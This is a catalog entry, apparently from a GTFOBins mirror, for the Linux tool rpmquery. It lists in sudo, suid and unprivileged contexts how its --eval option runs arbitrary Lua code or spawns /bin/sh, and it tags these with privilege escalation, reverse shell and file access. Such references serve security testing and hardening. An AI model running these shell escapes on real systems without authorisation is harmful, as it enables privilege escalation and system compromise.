CatalogGTFOBins

GTFO · Tool

rpmquery

6 techniquesLinuxGTFOBinsGPL-3.0

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadPrivilege EscalationLinux

This allows to run Lua code (`...`).

rpmquery --eval '%{lua:...}'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
inherit, from:lua

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadPrivilege EscalationLinux

This allows to run Lua code (`...`).

rpmquery --eval '%{lua:...}'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
inherit, from:lua

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadLinux

This allows to run Lua code (`...`).

rpmquery --eval '%{lua:...}'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
inherit, from:lua

shell

ExecutionPrivilege EscalationLinux
rpmquery --eval '%(/bin/sh 1>&2)'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
rpmquery --eval '%(/bin/sh 1>&2)'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
rpmquery --eval '%(/bin/sh 1>&2)'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059